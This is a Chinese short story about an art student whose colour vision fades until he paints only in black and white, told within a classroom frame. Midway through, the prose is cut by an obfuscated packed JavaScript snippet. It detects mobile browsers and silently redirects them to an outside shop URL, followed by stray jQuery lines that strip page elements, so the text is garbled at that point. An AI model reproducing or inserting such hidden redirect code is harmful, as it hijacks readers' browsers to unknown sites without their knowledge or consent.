湮篇第二则褪色
那天下午，美术课结束以后，几个同学还留在教室里没有离开。
窗外的阳光很好，斜斜地照进来，把画室里那些尚未收起来的颜料盒照得发亮。有人正在清洗调色盘，有人在整理画架，还有人趴在窗边看操场上的树。西西拿起一支刚洗干净的画笔，对着阳光看了一会儿，忽然问：“你们觉得，红色和蓝色哪个更好看？”
“当然是蓝色。”
“我喜欢红色。”
“我觉得绿色最好。”
“为什么？”
“因为绿色看起来很舒服啊。”
几个人于是七嘴八舌地讨论起来，从红色说到蓝色，又说到黄色、紫色和橙色。有人说自己最喜欢夕阳的颜色，有人说喜欢海水，有人说小时候一直觉得天空是世界上最好看的蓝色，还有人说如果让自己画一幅画，绝对不能没有颜色。
里奈一直坐在窗边，没有参与他们的讨论。她低头在故事本上写了些什么，过了一会儿才抬起头。
“如果有一天，你们再也看不见颜色了呢？”
大家一下安静下来。
“什么意思？”
“就是红色变成灰色，蓝色也变成灰色，绿色、黄色、紫色……所有颜色都慢慢消失。”里奈看着他们，“最后，你眼睛里的世界只剩下黑和白。”
“那不是色盲吗？”
“比色盲更奇怪。”
“为什么？”
里奈轻轻翻了一页。
“因为他原本能够看见所有颜色，也知道所有颜色是什么样子，可是有一天，那些颜色开始一点一点从他的世界里消失。”
西西问：“那他还能画画吗？”
里奈笑了笑。
“他后来成为了一名画家。”
她低头看了一眼故事本。
“故事的名字叫《褪色》。”
＊＊＊
白晓生是一名艺考生。
那一年，他十八岁，正在准备美术学院的专业考试。和许多学习美术的学生一样，他每天都要在画室里坐上很长时间，画石膏像、静物、人物，也画那些老师布置下来、必须在规定时间内完成的习作。画室里常年弥漫着松节油、颜料和木炭的气味，墙边靠着一排排画板，窗户旁边摆着盛满脏水的塑料桶，到了下午，阳光从玻璃窗照进来，落在一张张未完成的画纸上。
那天下午，白晓生正在画一组静物。
画面中央放着一个苹果，旁边是一只蓝色的陶罐，后面还有一块黄色的布。他已经画了三个小时，苹果的明暗关系基本完成，陶罐的轮廓也已经找准，只差最后一点颜色调整。
他盯着自己的画看了一会儿，忽然觉得眼睛有些发涩。
他抬起手揉了揉。
再睁开眼睛的时候，他觉得画面似乎有些不对。
苹果还是那个苹果，陶罐还是那个陶罐，黄色的布也仍然铺在那里，可它们的颜色好像突然变淡了一点。
白晓生眨了眨眼。
他以为是自己看久了眼睛疲劳，于是闭上眼睛休息了一会儿，又重新睁开。
颜色依旧在那里。
只是比刚才又淡了一些。
他没有太在意。
直到晚上回家的时候，他站在路口等红灯，才真正意识到事情似乎不太对劲。
街道两边的广告牌依旧亮着，汽车的车灯依旧明亮，行人从他身边匆匆走过，可那些原本鲜艳的颜色却像蒙了一层薄薄的灰雾。红绿灯的红色还在，但已经不像以前那么鲜明；便利店门口的绿色招牌变得暗淡；一个女孩穿着鲜红色的外套从他面前走过，他却觉得那件衣服只是比周围的灰色稍微深一点。
白晓生站在马路边，突然有些慌张。
他揉了揉眼睛。
再看。
还是一样。
＊＊＊
第二天，他去了医院。
医生给他做了视力检查，又检查了眼底、眼压和其他一系列指标，最后告诉他，眼睛本身没有明显的问题。
“你最近是不是用眼太多？”
“每天画画。”
“有没有熬夜？”
“经常。”
“那先休息一段时间，少看屏幕，不要长时间盯着画。”
白晓生点点头。
可他心里仍然觉得不安。
因为他知道，这不是普通的视疲劳。
接下来的几天，他眼中的颜色继续变淡。
最开始只是一些不太重要的颜色。
粉色、橙色、浅紫色。
然后是绿色。
再后来是蓝色。
最后连红色也开始变得模糊。
白晓生开始疯狂地寻找那些颜色。
他翻出小时候的彩色蜡笔，一支一支地摆在桌上，然后认真地看。
红色。
蓝色。
黄色。
绿色。
紫色。
他不停地告诉自己：“这是红色，这是蓝色，这是黄色。”
可第二天再看时，那些颜色已经没有昨天那么清楚。
他开始害怕自己忘记颜色。
于是他把所有东西都拍下来，手机里塞满了各种照片。他拍夕阳，拍花，拍街道，拍画室里五颜六色的颜料，甚至专门去公园看春天刚长出来的树叶。
他想把那些颜色记住。
可是颜色却像从他脑子里漏出去的水。
越想抓住，越快消失。
有一天，他拿起一支红色的颜料，盯着它看了很久。
他知道它叫红色。
他也知道红色应该是一种鲜艳、热烈的颜色。
可他已经想不起“红色究竟是什么感觉”了。
他只能通过语言告诉自己，那是红色。
就像一个人记得某个人的名字，却已经想不起那个人的脸。
＊＊＊
最让白晓生感到恐惧的，是有一天他发现自己的想象力也开始褪色了。
他原本很喜欢画画，也很喜欢在脑子里构思一些现实中不存在的东西。他可以想象一片紫色的天空，一条金色的河流，一座由蓝色玻璃构成的城市，甚至能够在脑子里构思出完全不存在的颜色组合。
可现在，他闭上眼睛以后，脑海里越来越难出现颜色。
他努力想象一片红色。
脑海里只有黑。
他又想象蓝色。
还是黑。
黄色。
黑。
绿色。
依旧是黑。
最后，他发现自己甚至无法想象“颜色”这个概念。
他的记忆里仍然保留着“红”“黄”“蓝”这些词，可那些词背后的东西正在慢慢消失。
他开始害怕。
那段时间，他几乎每天都在画画。
可他不再使用颜料。
他只用铅笔。
黑色的线条在白色的纸上不断延伸，人物、建筑、植物、天空，所有东西都被他画成黑与白。
老师发现以后问他：“为什么突然不画颜色了？”
白晓生说：“我看不见了。”
老师以为他是在开玩笑。
直到白晓生把调色盘推到老师面前。
“老师，你告诉我，这个是什么颜色。”
老师看了一眼。
“红色。”
“那这个？”
“蓝色。”
白晓生点点头。
他拿起画笔。
“我看见的都是一样的。”
老师沉默了。
＊＊＊
后来，白晓生渐渐接受了自己的世界。
至少，他开始尝试接受。
既然看不见颜色，就不再强迫自己寻找颜色。
他开始学习中国水墨画。
以前他觉得水墨画太简单，只有黑、白和不同深浅的灰，没有西方绘画那种强烈的色彩冲击。可是当自己真正失去颜色以后，他才第一次认真观察墨色的变化。
浓墨。
淡墨。
焦墨。
湿墨。
干墨。
一笔落下去，水分不同，纸张不同，笔锋不同，最后留下的痕迹就完全不同。
原来黑色并不是一种颜色。
白色也不是一种颜色。
它们之间存在着无数种变化。
他开始临摹古人的山水，也开始练习书法。
写字的时候，他第一次发现，一条线本身也可以拥有情绪。
轻轻落笔的时候，线条像风。
用力的时候，像山石。
墨色干燥的时候，像枯树。
水分充足的时候，又像雨。
他慢慢不再觉得自己失去了什么。
相反，他开始觉得自己看见了以前从来没有看见过的东西。
后来，他把中国水墨画的结构和自己原本学习的西方抽象艺术结合起来。
他的画里没有传统意义上的颜色。
只有黑色的线。
白色的空间。
大片留白。
扭曲的线条。
有时候一幅画里只有一条黑线，从画纸的左下角一直延伸到右上角，周围什么都没有。
有时候，他画出密密麻麻的黑色几何图形，再留下一块巨大的空白。
他给自己的作品取名为《无色之海》《黑夜之外》《白昼》《消失的花园》。
这些画开始受到关注。
有人说他的作品冷峻。
有人说他的作品具有东方哲学意味。
有人说他的画把西方抽象艺术与中国水墨精神结合在了一起。
甚至有国外的艺术评论家评价他的作品：
“他似乎已经摆脱了色彩对艺术家的束缚。”
白晓生看到这句话以后，只是笑了一下。
因为他知道，自己根本不是摆脱了色彩。
他只是已经看不见色彩了。
＊＊＊
几年以后，白晓生成为了一名颇有名气的艺术家。
他的画越来越受欢迎。
收藏家愿意花很高的价格购买他的作品，美术馆邀请他举办展览，国外的艺术机构也开始研究他的作品。
媒体采访他的时候，总喜欢问同一个问题。
“你为什么坚持黑白？”
白晓生想了想。
“因为我只能看见黑白。”
记者以为他在开玩笑。
“你是说，你的眼睛真的……”
“是真的。”
“那你会不会遗憾？”
白晓生看着眼前的记者。
那个人穿着一件深蓝色的西装。
至少，他知道别人告诉自己，那是深蓝色。
可他自己看见的，只是一片深浅不同的灰。
“以前会。”
“现在呢？”
白晓生笑了笑。
“现在我不知道什么叫遗憾。”
记者没有听懂。
白晓生也没有解释。
因为有些事情，他自己也解释不清楚。
＊＊＊
那一年秋天，他收到了一封没有寄件人的信。
信封是纯白色的。
没有邮票，没有地址，也没有任何文字。
里面只有一张纸。
纸上写着一句话：
“如果你已经看见了黑与白的尽头，请于十月十七日晚上八点，前往城北的旧剧院。”
白晓生看了很久。
他不知道是谁寄来的。
他本来想把信扔掉。
可是第二天，他又把它捡了回来。
因为那句话让他产生了一种奇怪的感觉。
黑与白的尽头。
他不知道这句话是什么意思。
十月十七日晚上八点，他还是去了。
旧剧院已经废弃多年。
里面没有灯，只有月光从破碎的窗户照进来。
白晓生走进大厅的时候，看见了一扇巨大的黑色门。
门上没有把手。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926025|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他刚走近，门就自己打开了。
门后面是一条很长的走廊。
墙壁是白色的。
地面是黑色的。
没有任何其他颜色。
他继续往里面走。
走廊尽头是一座巨大的大厅。
大厅里站着很多人。
他们都穿着黑色和白色的衣服。
墙上挂着一幅幅巨大的画。
没有红色。
没有蓝色。
没有绿色。
没有黄色。
所有作品都由黑线与白色组成。
白晓生站在大厅中央，第一次产生了一种奇怪的感觉。
这里的一切，竟然和他的世界如此相似。
一个头发花白的老人从人群中走出来。
老人穿着黑色长袍，手里拿着一根白色的手杖。
“白晓生。”
老人叫出了他的名字。
白晓生停下来。
“你是谁？”
老人没有回答，只是笑了笑。
“你一定很疑惑自己为什么会来到这里。”
“是。”
“也一定怀疑自己看到的一切是不是幻觉。”
白晓生没有说话。
老人慢慢抬起手杖，指向大厅。
“不要怀疑。”
“你所看到的，就是现实。”
白晓生看着四周。
“这里为什么没有颜色？”
老人笑了。
“因为这里本来就没有颜色。”
白晓生愣住了。
老人继续说道：“你以为颜色是什么？”
“是世界本身吗？”
“不是。”
“颜色只是光与人的眼睛共同制造出来的一种感觉。”
“红色、蓝色、绿色……它们只是人类认识世界的一种方式。”
老人走到一幅巨大的画前。
画里只有一条黑色的线。
“我们认为，艺术最终应该摆脱这些附加之物。”
“形状。”
“光影。”
“颜色。”
“情绪。”
“最后，只剩下最纯粹的黑与白。”
白晓生沉默了很久。
“所以……你们一直在研究这个？”
“不是研究。”
老人看着他。
“是信仰。”
＊＊＊
老人告诉白晓生，这个组织已经存在了很久。
他们寻找那些能够突破普通人视觉与认知的人。
他们相信，艺术并不是把世界描绘得越来越丰富，而是不断剥离那些多余的东西。
颜色是一层。
声音是一层。
形状是一层。
情绪也是一层。
当所有东西最终被剥离，只剩下黑与白的时候，艺术才抵达真正的尽头。
“而你，”老人说道，“已经走到了我们一直想去的地方。”
白晓生看着自己的双手。
他忽然不知道该害怕，还是应该高兴。
“可是我并不是主动选择的。”
老人点头。
“当然。”
“你失去了颜色。”
“但也因此获得了别人无法获得的东西。”
白晓生抬起头。
“那你们呢？”
老人笑了。
“我们一直在努力变成你。”
大厅里一片寂静。
白晓生环顾四周。
那些人站在那里，没有人说话。
他们的脸一半藏在阴影里，一半暴露在白色的灯光下。
所有东西都是黑与白。
连他们的眼睛看起来都像黑色的洞。
老人向白晓生伸出手。
“欢迎来到这里。”
“欢迎来到黑白的世界。”
“欢迎你加入我们。”
白晓生没有立刻握住那只手。
他只是站在那里，看着面前这个完全由黑线与白色构成的世界。
不知道为什么，他忽然想起了自己十八岁那年第一次坐在画室里的下午。
那时候，桌上放着一个红色的苹果。
旁边是一只蓝色的陶罐。
还有一块黄色的布。
那些颜色已经离他很远了。
远得像是另一个人的记忆。
他闭上眼睛，努力想象那个苹果。
可脑海里什么都没有。
只有黑。
以及黑暗之外，一片无边无际的白。
＊＊＊
“然后呢？”
故事讲到这里，西西忍不住问。
里奈抬起头。
“然后就结束了。”
“他加入了吗？”
“我不知道。”
“那个组织是真的吗？”
“也不知道。”
“那他最后到底有没有找回颜色？”
里奈摇了摇头。
“故事里没有说。”
西西皱起眉头：“这算什么结局？”
里奈想了想。
“也许有些东西消失以后，就不一定要找回来。”
她低头看着故事本，又补了一句：
“也许消失的东西，最后会变成另外一种东西。”
教室外，下午的阳光已经开始偏斜。操场上的树木被夕阳照得发亮，远处有人穿着鲜红色的外套从树下跑过，旁边的花坛里还有一大片正在盛开的黄色花朵。
西西趴在窗边看了一会儿。
“我突然觉得颜色很好看。”
里奈笑了笑。
“所以才会有《褪色》。”
“如果有一天真的看不见颜色了呢？”
里奈没有马上回答。
过了一会儿，她低头翻过故事本的一页。
“那就看看黑和白吧。”
“说不定那里，也藏着一个我们以前没有见过的世界。”